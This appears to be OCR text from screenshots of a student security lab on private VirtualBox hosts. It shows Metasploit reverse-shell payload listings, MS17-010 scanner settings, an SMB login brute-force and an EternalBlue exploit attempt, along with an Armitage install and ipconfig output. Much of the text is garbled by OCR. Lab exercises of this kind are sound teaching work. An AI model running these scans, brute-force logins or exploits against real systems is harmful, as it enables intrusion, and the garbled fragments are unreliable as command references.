payLoad/windows/x64/vncin
normal No  Windows x64 VNC Ser
Windows x64 Reverse HTTP Stager (wininet)
|/windows/x64/vncinject/revers
normal No  Windows
Windows x64 Reverse TCP Stager
|/windows/x64/vnc
normal Windows C Serv
Encryption, Metasm)
|/windows/x64/vncinj /reverse_tcp_uuid
normal No  Windows x64 VNC S
TCP Stager with UUID Support (Windows
/windows/ j rse_winhttp
normal No  Windows x64
Windows x64 Reverse HTTP Stager (winhttp)
|/windows/x64/vnc /reverse_winhttps
normal No  Windows
rse HTTPS Stager (winhttp)

1 [#] Right Ctr

12:22
16/04/2026




image21.png
Ml kali [Runnii

- NTSEN

Shell No.1

Session Actions Edit View Help

CHECK_ARCH  true Check for architecture on vul
nerable hosts.
CHECK_DOPU  true for DOUBLEPULSAR on vul
erable hosts
CHECK_PIPE  false Check for named pipe on vulne
ble hosts
NAMED_PIPES /usr/share/metaspl List of named pipes to che
oit-framework/data
/wordlists/named_p
ipes. txt
RHOSTS 192.168.1.102 The target host(s), s
//docs .metasploit
sing-metasploit/basics/using
metasploit.html
RPORT The SMB ser port (Tcp)
sMBDomain . The Windows domain to use for
authentication
SMBPass The password for the spes
d username
SMBUSe: The username to authenticate
THREADS The number of concurrent thre
ads (max one per host)

iew the full module info with the i r ~d command.

msf auxiliary(

1 [#] Right Ctr

6 o B . o 1233
o s ﬂ S © 0 NG BT ® ohm0

Q Search wsa L H ;4 d





image22.png
Home Shell No. 1

DSl Session Actions Edit View Help
CHECK_ARCH  true no Check for architecture on vul
—— nerable hosts
AR

CHECK_DOPU  true no Check for DOUBLEPULSAR on vul

il ble host:
FileSystem nerable hosts

\

CHECK_PIPE  false no Check for named pipe on vulne
rable hosts

N— NAMED_PIPES /usr/share/metaspl yes List of named pipes to check

\}/ oit-framework/data

i /wordlists/named_p

ipes. txt

Wastebasket RHOSTS 192.168.1.103 yes The target host(s), see https
://docs . metasploit.con/docs/u
sing-metasploit/basics/using-

metasploit.html

e RPORT uss yes The SMB service port (TCP)
SMBDomain . no The Windows domain to use for
authentication
- SMBPass no The password for the specifie
d username
SwBUser no The username to authenticate
as
THREADS 1 yes The number of concurrent thre
- ads (max one per host)
View the full module info with the . or conmand

nsf auxiliary(scanner/smb/smb_ms17_010) > [

[#] Right Ctrl

12:47
16/04/2026

2 ) @




image23.png
Home Shell No. 1

DSl Session Actions Edit View Help
E /wordlists/named_p
= ipes. txt

== 2 ‘IIIII

RHOSTS 192.168.1.103 yes The target host(s), see https
://docs .metasploit. con/docs/u
sing-metasploit/basics/using-
metasploit. html

FileSystem

\

= RPORT uss yes The SMB service port (TCP)
\;‘A—fff SMBDomain . no The Windows domain to use for
y authentication
SwBpass no The password for the specifie
{ Wastebasket o wsemEE

SwBUser no The username to authenticate
as

THREADS 1 ves The number of concurrent thre
ads (max one per host)

e
— View the full module info with the , or command.
msf auxiliary(sconners/snb/sob 117 010) > esploit
"~ Unknown command: esploit. Did you mean 2 Run the command for
more details.
I st auxiliary(scanner/sob/snb nsi7 010) > exploit
- 192.168.1.103:445 ~ Rex::HostUnreachable: The host (192.168.1.103:445

) was unreachable.
192.168.1.103:445 - Scanned 1 of 1 hosts (100% complete)
Auxiliary module execution completed

nsf auxiliary(scanner/smb/smb_ms17_010) > [

Qo@e =il @R right cl

>
e A ) @ s

16/04/2026




image24.png
—

kWaste basket

e
/I

Session Actions Edit View Help

View the full module info with the , or command.

msf auxiliary(scanner/sub/sib 1517 010) > esploit

"~ Unknown command: esploit. Did you mean ? Run the command for e
more details.

msf auxiliary(:coonor cnh snh nel7 000) > exploit -
- 192.168.1.103:445 ~ Rex::HostUnreachable: The host (192.168.1.103:445

) was unreachable.

192.168.1.103:445 Scanned 1 of 1 hosts (100% complete)
Auxiliary module execution completed

msf auxiliary(scanier/ <on/soh no17 010) > ant-get install armitase
exec: apt-get ins' g Authenticate

E: Could not open locl T N . -
0 dreea)) ® Authentication is required to start 'postgresqLservice'.

E: Unable to acquire ieation . . . .
e you root? Anapplication is attempting to perform an action that requires

T | privileges. Authentication s required to perform this action.
exec: apt-get ins

Password: ||

E: Could not open loc!

n denied)

E: Unable to acquire » Details

e you root? .

msf auxiliary(scanner, @ Cancel Authenticate
exec: service post,.

Qo@e =il @R right cl

12:54
16/04/2026

NG 72 ) @




image25.png
)
@ kali Runni

0 Q Search

- NTSEN

Shell No.1

Session Actions Edit View Help

apt-get install armitage
t install armit:
E: Could not open lock file /var/lib/dpkg/lock-frontend - open (13: Permissio

n denied)
Unable to ire the dpkg frontend 1 ar/1ib/dpkg/lock-frontend), ar

t install armita
apt-get install armitage
ould not open lock file /var/lib/dpkg/lock-frontend - open (13: Permissio
n denied)
E: Unable to acquire the dpkg frontend lock (/var/1ib/dpkg/lock-frontend), ar
you root?

auxiliary

auxiliary

1 (3] Right Ctr

o A o 12:59
o s ﬂ S © 0 NG BN ® ohm0





image26.png
acle VirtualBox -

o i)™

s | Tﬁi‘j\ ’

@ Shell No.1
Session Actions Edit View Help

inet 192.168.1.50/24 brd 192.168.1.255 scope global dynamic noprefixroute

etho
ec preferred 1ft 676338se
inet6 fe0::a00:27FF:fe20:bals/64 scope link noprefixroute
X e auxiliary/scanner/smb/smb_login
i option within this module can o
ili ) > set LHOST 192.16
0 " . v

- starting Togin bruteforce
- su Adninistrato;

Bruteforce completed, 1

1S (3] Right Ctr

o A o 15:33
o s ﬂ S © 0 NG BWNO ghm0

5 Qu &

po)
@
a





image27.png
kali [Running] -

Oracle Virtu

IBox

Session Actions Edit View Help

Name

Session Actions Edit View Help
Unpacking openjdk-11-jre:andss (11.0.25
Selecting previousl,

Preparing to unpack
Unpacking armitage (20221206-0k

RHOSTS
RPORT
SMBDomain

SMBPass
SMBUSer
VERTFY_ARCH update-alternatives: using /usr/lib/jvm/3
ide /usr/bin/jjs (3js) in auto mode
update-alternatives: using /usr/lib/jvm/3
vide /usr/bin/rmid (rmid) in auto mode
update-alternatives: using /usr/Li-’s=/%
provide /usr/bin/pack200 (pack200 [gl
update-alternatives: using /usr/

o provide /usr/bin/unpack200 (unp
Processing triggers for kali-menu
Processing triggers for desktop-f

LHOST 8.1.50  Processing triggers for hicolor-i

LPORT Processing triggers for tif

done
Setting up
Setting up

VERTFY_TARGET
Payload options (generi;

Name  Current Settin

:amdes
06-0

openjdk-1:

loit target: armitage

Id Name

= Cs

0 Automatic Target

kali® kali)-[~

sudo service postgresql start

kali® kali)-[~
armit:

Cs

Setting up openjdk-11-jre-headless:amdeh (11.

ea-1)
unselected package armitage.

]
11-openjdk-amd64/bin/jjs to prov

11-openjdk-amd64/bin/rmid to pro

Connect | [ Help

[+] T will use /home/kali/armitage-tmp as a working directory

View the full module inf []

msf exploit(
[+] Started revers: handler on 192.168.1.50
[*] 2
-~ Host does NOT appear vulnerable.
3.0/gems/recog:
*" in regular expression
- Scanned 1 of 1 hosts (100% complete)
445 - The target is not vulnerable
mpleted, but no session was created

i
ps
W

SRR = (s sl s 1Y AT ST 00 o iR

/1ib/recog/

ng-metasploit/basi

s T

s Windows Server 200!

/using-metasploit.html

fects Windows Server 2008 R2, Windows 7, Windows

ingerprint/regexp_factory.rb

Server 200

R2, Windows 7, Wind

8 Windows 7, Windows Embedded S

: warning

nested repeat operator

1 [#] Right Ctr

18:06
16/04/2026




image28.png
134\3‘

PEapol |

Session Actions Edit View Help

Nane curre
— Ton.1c Session Actions Edit View Help ety
RPORT 45 Unpacking openjdk-11-jre:and6é (11.0.25-5ea-1)

suBDonain Selecting previously unselected package arnitage. affects

Preparing to unpack ... /armitage_20221206-0kali1_all.deb
sBPass Unpacking armitage (20221206-0kali1)

suBUser Setting up openjdk-11-jre-headless:ande (11.0.25~5ea-1)

VERIFYARCH  true update-alternatives: using /usr/lib/jva/java-11-openjdk-andsi/bin/jjs to prov fects Windo

ide Jusr/bin/3js (jjs) in auto mode

VERIFY_TARGET true update-alternatives: using /usr/Lib/3va/Java-11-openjdk-andes/bin/raid to pro  ows Server

vide /usr/bin/rmid (maid) in auto mode

update-alternatives: using /usr/Lib/jva/3ava-11-openjdk-ande/bin/pack200 to

provide /usr/bin/pack200 (pack200) in auto mode

Payload options (generic update-alternatives: using /usr )

o provide /ust/bin/unpack20 (

Name  Current Settir Processing triggers for kali-ne
—  —————— Processing trigeers for desktop

Start Metasploit?

A Metasploit REC server is not running or

LHOST 192.166.1.50  Processing triggers for hicolor not accepting connections yet. Would you
LPORT 4k Processing triggers for ca-cert Tie me to start Metasploi's RPC server
done foryou?
Setting up openjdk-11-jre:anded
Exploit target: setting up armitage (20221206-

(2]
19 Nane ’

— L§ sudo service postgresql start
o utomatic Target

amitage
T will use /home/kali/arnitage-tap as a working directory
View the full module in []

asf exploit( ) > exploit

Started reverse TCP handler on 192.168.1.50:4444

192.168.1.1:445 - Using auxiliary/scanner/sab/sab_ns17_010 as check

192.168.1.1:445 - Host does NOT appear vulnerable.
/usr/share/metasploit-franework/vendor/bundle/ruby/3.3.0/gens/ recog-3.1.23/Lib/recog/fingerprint /regexp_factory. rb:
nd ‘2" was replaced with '+' in regular expression
192.168.1.1:445 - Scanned 1 of 1 hosts (100% cosplete)
192.168.1.1:445 - The target is not vulnerable
Exploit completed, but no session was created.
a5 exoloit( >

P (¥ Right Ctrl




image29.png
Quafn

YT |




image30.png
rmitage

ms06_025 &
ms06_040_
ms06_066.
ms06_066.
ms06_070.
ms07_029
ms08_067_
ms09_050_
ms10_046
ms10_061 ¢ MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
melsLe. This module is a port of the Equation Group ETERNALBLUE explott, part of the
FuzzBunch toolkt released by Shadow Brokers. There is a buffer overflow memmove
ms17_010 g operation in Srv!SrvOs2FeaToNt. The size is calculated in Srv!SrvOs2FealistSizeToNt,
netidentity ==
psexec option Value
smb deliverl” LHOST. 100215
LPORT 17308
RHOSTS +
£xa RPORT a5

Console X B A

Targets: [0 => Automatic Target

[J Use a reverse connection

[ show advanced options

((taunch |

1 (& [#] Right Ctr

o A o 1822
o ﬂ S © 0 NG BN om0

<R Qe =28




image1.png




image2.png
Secure and Demonstrate the given Network (80%

Topology

ACS

SWANSEA.ACCA
Blue Team

s-DC
Domain Controller Member
DNS Server 192.168.1.10
DHCP Server

Windows 10

L-CD

Domain Member
P Relay Server

192 168.2.1/24

Debian Server 12 (CLI)

Domain Member
192.168.2.10

Debain Client (GUI)

Blue Team




image3.png
Windows IP Configuratiol

Host Name . . 5 o
Primary Dns Suffix
Node Type . . 5
IP Routing Enabled.
WINS Proxy Enabled.
DNS suffix Search Li

Ethernet adapter Intern

Connection-specific
Description . . -
Physical Address. .
oHcp EMabled. . . .
Autoconfiguration En.
Link-local IPv6 Addr
IPv4 Address. - -
Subnet Mask . . . .
Default Gateway
DHCPv6 IAID .

DHCPvE Client DUID.
DNS Servers . . . .

NetBIOS over Tcpip.

n

Ethernet adapter IntSwa:

Connection-specific
Description . . . .
Physical Address. .
DHCP Enabled. . . .
Autoconfiguration En
Link-local IPv6 Addr
IPv4 Address. . . .
Subnet Mask . . . .
Default Gateway . .
DHCPv6 IAID . .
DHCPv6 Client DUTD.
DNS Servers . . 5
NetBIOS over Tcpip.

C:\Users\Administrator>

s-DC
swansea.acca
Hybrid

No

No
swansea.acca

Intel(R) PRO/16868@ MT Desktop Adapter
88-80-27-1A-80-9D

No

Yes
fe80::e147:b674:a231:828a%7(Preferred)
192.168.1.1(Preferred)

255.255.255.0

101187623
©0-01-060-01-30-66-31-06-08-00-27-1A-80-9D
1zl

127 .8.8.1

Enabled

Intel(R) PRO/18@@ MT Desktop Adapter #2
e8-80-27-93-3C-14

No

Yes
feB80::6626:ce56:6032:e05FX13(Preferred)
20.0.8.1(Preferred)

255.255.255.0

168266487

©0-01-00-01-30-66-31-06-08-00-27-1A-80-9D
szl

Enabled

19:38
~ 0 de € 59,05,2026





